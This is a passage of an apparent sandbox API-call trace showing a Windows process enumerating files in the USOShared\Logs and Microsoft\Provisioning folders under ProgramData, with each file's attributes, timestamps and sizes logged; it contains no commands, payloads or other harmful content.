hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7b0d97d, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xe7b0d97d, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xa690be1, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateUx.002.etl", cAlternateFileName="UPDATE~3.ETL")) returned 1 [0218.328] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0218.328] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0218.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0218.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0218.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0218.329] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\USOShared\\Logs", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\USOShared\\Logs", lpFilePart=0x0) returned 0x21 [0218.329] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\*" (normalized: "c:\\users\\all users\\usoshared\\logs\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xfcb24d5d, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfcb24d5d, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0218.329] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xfcb24d5d, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfcb24d5d, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.329] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xfcb24d5d, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0x112eaaf6, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.001.etl", cAlternateFileName="UP2DAF~1.ETL")) returned 1 [0218.330] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xa26cf0a0, ftLastAccessTime.dwHighDateTime=0x1d99d09, ftLastWriteTime.dwLowDateTime=0xc99ffb8e, ftLastWriteTime.dwHighDateTime=0x1d99d09, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.002.etl", cAlternateFileName="UP3884~1.ETL")) returned 1 [0218.330] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xa88a9a93, ftLastAccessTime.dwHighDateTime=0x1d99cf2, ftLastWriteTime.dwLowDateTime=0xd008cf7a, ftLastWriteTime.dwHighDateTime=0x1d99cf2, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.003.etl", cAlternateFileName="UP8247~1.ETL")) returned 1 [0218.330] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x21c56441, ftLastAccessTime.dwHighDateTime=0x1d9775f, ftLastWriteTime.dwLowDateTime=0x49a419ad, ftLastWriteTime.dwHighDateTime=0x1d9775f, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.004.etl", cAlternateFileName="UPD2FC~1.ETL")) returned 1 [0218.330] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x8c08b661, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xb412100a, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.005.etl", cAlternateFileName="UPB784~1.ETL")) returned 1 [0218.330] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xb4f89421, ftLastAccessTime.dwHighDateTime=0x1d8a64c, ftLastWriteTime.dwLowDateTime=0xeca50022, ftLastWriteTime.dwHighDateTime=0x1d8a64c, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.006.etl", cAlternateFileName="UP7D55~1.ETL")) returned 1 [0218.330] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x60797ea1, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x8857baf6, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.007.etl", cAlternateFileName="UP52FC~1.ETL")) returned 1 [0218.331] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x615d8964, ftLastAccessTime.dwHighDateTime=0x1d8596d, ftLastWriteTime.dwLowDateTime=0x88859575, ftLastWriteTime.dwHighDateTime=0x1d8596d, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.008.etl", cAlternateFileName="UPA721~1.ETL")) returned 1 [0218.331] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x3a5fe900, ftLastAccessTime.dwHighDateTime=0x1d7b059, ftLastWriteTime.dwLowDateTime=0x6178db96, ftLastWriteTime.dwHighDateTime=0x1d7b059, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.009.etl", cAlternateFileName="UPFC55~1.ETL")) returned 1 [0218.331] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf801cbae, ftLastAccessTime.dwHighDateTime=0x1d75217, ftLastWriteTime.dwLowDateTime=0x1f56df07, ftLastWriteTime.dwHighDateTime=0x1d75218, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.010.etl", cAlternateFileName="UPB13B~1.ETL")) returned 1 [0218.331] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf98df460, ftLastAccessTime.dwHighDateTime=0x1d705ef, ftLastWriteTime.dwLowDateTime=0x22721e58, ftLastWriteTime.dwHighDateTime=0x1d705f0, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.011.etl", cAlternateFileName="UP076F~1.ETL")) returned 1 [0218.332] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x6fb852ed, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0xa05d916a, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.012.etl", cAlternateFileName="UPEBF6~1.ETL")) returned 1 [0218.332] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x46a3d34f, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6df6574e, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.013.etl", cAlternateFileName="UP8DEE~1.ETL")) returned 1 [0218.332] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x95f9994e, ftLastAccessTime.dwHighDateTime=0x1d7046d, ftLastWriteTime.dwLowDateTime=0x95f9994e, ftLastWriteTime.dwHighDateTime=0x1d7046d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.014.etl", cAlternateFileName="UP38BA~1.ETL")) returned 1 [0218.332] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x9ee92c6a, ftLastAccessTime.dwHighDateTime=0x1d70460, ftLastWriteTime.dwLowDateTime=0xc6371102, ftLastWriteTime.dwHighDateTime=0x1d70460, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.015.etl", cAlternateFileName="UPE286~1.ETL")) returned 1 [0218.332] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xe7e7af85, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xe7e7af85, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.016.etl", cAlternateFileName="UPDATE~4.ETL")) returned 1 [0218.332] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x4e8a793e, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x4e8a793e, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.017.etl", cAlternateFileName="UPDATE~2.ETL")) returned 1 [0218.333] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf97592c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0x1d9a4c7e, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.018.etl", cAlternateFileName="UPDATE~1.ETL")) returned 1 [0218.333] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7b0d97d, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xa689893c, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0xac9249a5, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateUx.001.etl", cAlternateFileName="UP654C~1.ETL")) returned 1 [0218.333] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7b0d97d, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xe7b0d97d, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xa690be1, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateUx.002.etl", cAlternateFileName="UPDATE~3.ETL")) returned 1 [0218.333] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7b0d97d, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xe7b0d97d, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xa690be1, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateUx.002.etl", cAlternateFileName="UPDATE~3.ETL")) returned 0 [0218.334] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0218.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0218.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0218.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0218.334] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning", lpFilePart=0x0) returned 0x29 [0218.334] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\*" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4b6f3a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbe4b6f3a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0218.497] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4b6f3a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbe4b6f3a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.497] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11be8600, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x11be8600, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x11be8600, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x6815, dwReserved0=0x0, dwReserved1=0x0, cFileName="countrytable.xml", cAlternateFileName="")) returned 1 [0218.497] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", cAlternateFileName="{18DCF~1")) returned 1 [0218.498] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc75be0a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbc75be0a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbc75be0a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1e05dd5d-a022-46c5-963c-b20de341170f}", cAlternateFileName="{1E05D~1")) returned 1 [0218.498] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd9177d6, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd9177d6, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd9177d6, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{23cb517f-5073-4e96-a202-7fe6122a2271}", cAlternateFileName="{23CB5~1")) returned 1 [0218.498] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe4b6f3a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbe4b6f3a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbe4b6f3a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", cAlternateFileName="{3742E~1")) returned 1 [0218.498] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd0268ef, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd0268ef, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd0268ef, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", cAlternateFileName="{7A30A~1")) returned 1 [0218.498] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcdea603, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbcdea603, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbcdea603, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", cAlternateFileName="{8FB7D~1")) returned 1 [0218.499] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcdc44d0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbcdc44d0, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbcdc44d0, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{99b095d8-5959-4820-bea7-7448c8427b4e}", cAlternateFileName="{99B09~1")) returned 1 [0218.499] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcdea603, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbcdea603, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbcdea603, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", cAlternateFileName="{9AEC5~1")) returned 1 [0218.499] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd6b510c, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd6b510c, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd6b510c, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", cAlternateFileName="{9DF6A~1")) returned 1 [0218.499] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd0268ef, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd0268ef, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd0268ef, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", cAlternateFileName="{B0B91~1")) returned 1 [0218.499] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcd9e222, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbcd9e222, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbcd9e222, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{c5dc3753-b6c8-4057-b396-bf13d769311c}", cAlternateFileName="{C5DC3~1")) returned 1 [0218.500] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcdc44d0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbcdc44d0, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbcdc44d0, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ee4aac98-c174-4941-82b1-d121e493e4fb}", cAlternateFileName="{EE4AA~1")) returned 1 [0218.500] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbdbec4a8, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbdbec4a8, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbdbec4a8, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f11899f2-71ec-4621-9997-e17ae2f6eb26}", cAlternateFileName="{F1189~1")) returned 1 [0218.500] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbde4e9af, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbde4e9af, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbde4e9af, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", cAlternateFileName="{FC01E~1")) returned 1 [0218.500] FindNextFileW (in: 